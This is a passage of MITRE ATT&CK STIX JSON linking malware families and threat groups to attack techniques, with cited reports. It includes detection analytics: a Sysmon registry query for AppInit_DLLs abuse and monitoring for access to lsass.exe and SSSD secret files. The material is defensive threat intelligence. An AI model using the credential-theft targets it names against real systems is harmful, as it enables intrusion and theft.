tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d51223ba-aebe-448e-8a61-7460d96c8dd8", "created": "2022-03-30T14:26:51.834Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T14:17:45.182Z", "description": "Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. These values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes. Accordingly, this analytic looks for modifications to these registry keys that may be indicative of this type of abuse.\n\nAnalytic 1 - AppInit DLLs\n\n<code> source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode IN (12, 13, 14) TargetObject= \"*\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Appinit_Dlls\\*\" OR\n  TargetObject= \"*\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\Appinit_Dlls\\*\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d514d73a-27de-409d-bff9-d7e48f2859a6", "type": "relationship", "created": "2019-07-16T21:00:11.765Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", "source_name": "Accenture SNAKEMACKEREL Nov 2018"}], "modified": "2020-03-20T18:31:32.983Z", "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has used URL/Percent Encoding on data exfiltrated via HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)", "relationship_type": "uses", "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist BlackEnergy Feb 2015", "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.", "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/"}, {"source_name": "ESET BlackEnergy Jan 2016", "url": "https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/", "description": "Cherepanov, A.. (2016, January 3). BlackEnergy by the SSHBearDoor: attacks against Ukrainian news media and electric industry . Retrieved June 10, 2020."}], "modified": "2020-06-10T21:56:44.790Z", "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) 2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents.(Citation: Securelist BlackEnergy Feb 2015)(Citation: ESET BlackEnergy Jan 2016)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d51a3ee4-4542-4334-9989-249aa107c261", "created": "2023-07-31T17:54:41.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks BRONZE SILHOUETTE May 2023", "description": "Counter Threat Unit Research Team. (2023, May 24). Chinese Cyberespionage Group BRONZE SILHOUETTE Targets U.S. Government and Defense Organizations. Retrieved July 27, 2023.", "url": "https://www.secureworks.com/blog/chinese-cyberespionage-group-bronze-silhouette-targets-us-government-and-defense-organizations"}, {"source_name": "Microsoft Volt Typhoon May 2023", "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-03T20:00:53.005Z", "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used compromised domain accounts to authenticate to devices on compromised networks.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Secureworks BRONZE SILHOUETTE May 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d51c9d02-a701-4334-9dbc-bba6c128ba2b", "type": "relationship", "created": "2020-12-29T18:53:14.966Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-29T18:53:14.966Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has searched network shares to access sensitive documents.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d52b8760-abba-46f0-8c82-653b95cb2775", "type": "relationship", "created": "2022-02-01T21:17:46.024Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky WIRTE November 2021", "url": "https://securelist.com/wirtes-campaign-in-the-middle-east-living-off-the-land-since-at-least-2019/105044", "description": "Yamout, M. (2021, November 29). WIRTE\u2019s campaign in the Middle East \u2018living off the land\u2019 since at least 2019. Retrieved February 1, 2022."}], "modified": "2022-02-01T21:17:46.024Z", "description": "[Ferocious](https://attack.mitre.org/software/S0679) has the ability to add a Class ID in the current user Registry hive to enable persistence mechanisms.(Citation: Kaspersky WIRTE November 2021)", "relationship_type": "uses", "source_ref": "malware--73d08401-005f-4e1f-90b9-8f45d120879f", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d531b421-7347-4dd6-9a98-0b05e6421b40", "created": "2023-09-20T18:27:43.000Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Telefonica Snip3 December 2021", "description": "Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.", "url": "https://telefonicatech.com/blog/snip3-investigacion-malware"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-20T18:36:44.060Z", "description": "[AsyncRAT](https://attack.mitre.org/software/S1087) can examine running processes to determine if a debugger is present.(Citation: Telefonica Snip3 December 2021)", "relationship_type": "uses", "source_ref": "tool--6a5947f3-1a36-4653-8734-526df3e1d28d", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d53305c1-45c5-4a3c-9c9d-c5d324161402", "created": "2022-03-30T14:26:51.832Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.", "modified": "2022-04-14T15:55:24.912Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d535f0e8-dc89-448c-828d-7464767a51a3", "type": "relationship", "created": "2019-05-29T14:32:01.701Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 Jan 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505", "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019."}], "modified": "2020-03-16T16:06:21.192Z", "description": "[ServHelper](https://attack.mitre.org/software/S0382) contains modules that will use [schtasks](https://attack.mitre.org/software/S0111) to carry out malicious operations.(Citation: Proofpoint TA505 Jan 2019)", "relationship_type": "uses", "source_ref": "malware--aae22730-e571-4d17-b037-65f2a3e26213", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d53cb718-c7a5-42e5-bc2b-dc14ceebbb17", "type": "relationship", "created": "2019-01-30T16:39:54.526Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/", "source_name": "PaloAlto CardinalRat Apr 2017"}], "modified": "2020-03-17T00:31:42.765Z", "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) is downloaded using HTTP over port 443.(Citation: PaloAlto CardinalRat Apr 2017)", "relationship_type": "uses", "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d53d1e84-f4de-4e6a-bc84-5edfce84b055", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}], "modified": "2020-03-17T02:06:54.661Z", "description": "[OwaAuth](https://attack.mitre.org/software/S0072) uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d54a98b2-8023-43ac-8577-53796b1efa55", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.group-ib.com/blog/cobalt", "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", "source_name": "Group IB Cobalt Aug 2017"}], "modified": "2019-07-26T23:38:33.624Z", "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has created new services to establish persistence.(Citation: Group IB Cobalt Aug 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d54e7a92-0601-4b77-8675-46e33b577b4d", "type": "relationship", "created": "2021-05-05T13:59:21.337Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2021-05-05T13:59:21.337Z", "description": "[LiteDuke](https://attack.mitre.org/software/S0513) can enumerate the account name on a targeted system.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--95e2cbae-d82c-4f7b-b63c-16462015d35d", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d552463d-b74b-440c-a936-979e8615a844", "created": "2022-03-30T14:26:51.871Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Medium Detecting Attempts to Steal Passwords from Memory", "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea", "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as  [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored. Monitor for unusual processes accessing\u00a0<code>secrets.ldb</code> and <code>.secrets.mkey</code> located in <code>/var/lib/sss/secrets/</code>.", "modified": "2022-04-20T01:40:12.952Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5599a7e-d6a4-4de7-918a-84c3972c21ef", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets", "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", "source_name": "Proofpoint Leviathan Oct 2017"}, {"source_name": "CISA AA21-200A APT40 July 2021", "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-200a", "description": "CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory \u2013 Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China\u2019s MSS Hainan State Security Department. Retrieved August 12, 2021."}, {"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}], "modified": "2021-08-31T15:25:14.144Z", "description": "(Citation: Proofpoint Leviathan Oct 2017)(Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d55ab651-738b-4bbc-9438-57fc76be8f52", "created": "2022-04-15T00:46:32.067Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Diavol](https://attack.mitre.org/software/S0659) can receive configuration updates and additional payloads including wscpy.exe from C2.(Citation: Fortinet Diavol July 2021)", "modified": "2022-04-15T00:51:45.986Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d55ce1e6-d741-467a-87ef-d3392d7e3f32", "created": "2024-02-15T13:42:58.768Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-15T13:42:58.768Z", "description": "Monitor for newly constructed containers that repeatedly execute malicious payloads as part of persistence or privilege escalation.  ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953", "target_ref": "attack-pattern--b0e54bf7-835e-4f44-bd8e-62f431b9b76a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d56e3076-7221-4e3b-8628-d8c50982892d", "type": "relationship", "created": "2020-05-29T20:32:42.951Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}], "modified": "2020-06-15T22:52:32.036Z", "description": "[Get2](https://attack.mitre.org/software/S0460) has the ability to identify the current username of an infected host.(Citation: Proofpoint TA505 October 2019)", "relationship_type": "uses", "source_ref": "malware--099ecff2-41b8-436d-843c-038a9aa9aa69", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d57826cf-0fbd-44e5-9d67-9f29a93f1ca6", "type": "relationship", "created": "2020-08-04T16:03:24.138Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Sodin July 2019", "url": "https://securelist.com/sodin-ransomware/91473/", "description": "Mamedov, O, et al. (2019, July 3). Sodin ransomware exploits Windows vulnerability and processor architecture. Retrieved August 4, 2020."}, {"source_name": "McAfee Sodinokibi October 2019", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."}, {"source_name": "Secureworks REvil September 2019", "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware", "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."}], "modified": "2020-08-14T15:20:58.169Z", "description": "[REvil](https://attack.mitre.org/software/S0496) can identify the domain membership of a compromised host.(Citation: Kaspersky Sodin July 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Secureworks REvil September 2019)", "relationship_type": "uses", "source_ref": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d57d1a71-6ac7-4028-ba73-86e5df98395f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye POSHSPY April 2017", "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}], "modified": "2019-04-24T23:41:40.061Z", "description": "[POSHSPY](https://attack.mitre.org/software/S0150) modifies timestamps of all downloaded executables to match a randomly selected file created prior to 2013.(Citation: FireEye POSHSPY April 2017)", "relationship_type": "uses", "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d57dd9d9-d075-48c4-ae54-ed0aeae575de", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "source_name": "Secureworks BRONZE BUTLER Oct 2017"}], "modified": "2020-03-17T18:56:40.139Z", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used batch scripts and the command-line interface for execution.(Citation: Secureworks BRONZE BUTLER Oct 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d57fba3a-0ed8-49a1-9446-13a4b73c3bc5", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/", "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", "source_name": "ESET OceanLotus"}, {"description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", "source_name": "ESET OceanLotus Mar 2019"}], "modified": "2020-02-05T15:00:14.270Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) includes garbage code to mislead anti-malware software and researchers.(Citation: ESET OceanLotus)(Citation: ESET OceanLotus Mar 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--d580bb98-25fb-4cf4-9b3f-79b007939202", "created": "2021-12-27T19:19:42.758Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Check Point Warzone Feb 2020", "url": "https://research.checkpoint.com/2020/warzone-behind-the-enemy-lines/", "description": "Harakhavik, Y. (2020, February 3). Warzone: Behind the enemy lines. Retrieved December 17, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can communicate with its C2 server via TCP over port 5200.(Citation: Check Point Warzone Feb 2020)", "modified": "2022-04-07T17:12:09.675Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--d58da13b-aba4-440a-8d15-d0fee9a7a39b", "created": "2023-03-14T16:11:13.999Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-12T22:58:23.770Z", "description": "Consider monitoring for suspicious processes that may be spoofing security tools and monitoring messages.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--bef8aaee-961d-4359-a308-4c2182bcedff", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--d5943cbb-6a13-41ff-9aaf-4213b46b83cd", "type": "relationship", "created": "2020-03-19T23:56:41.564Z", 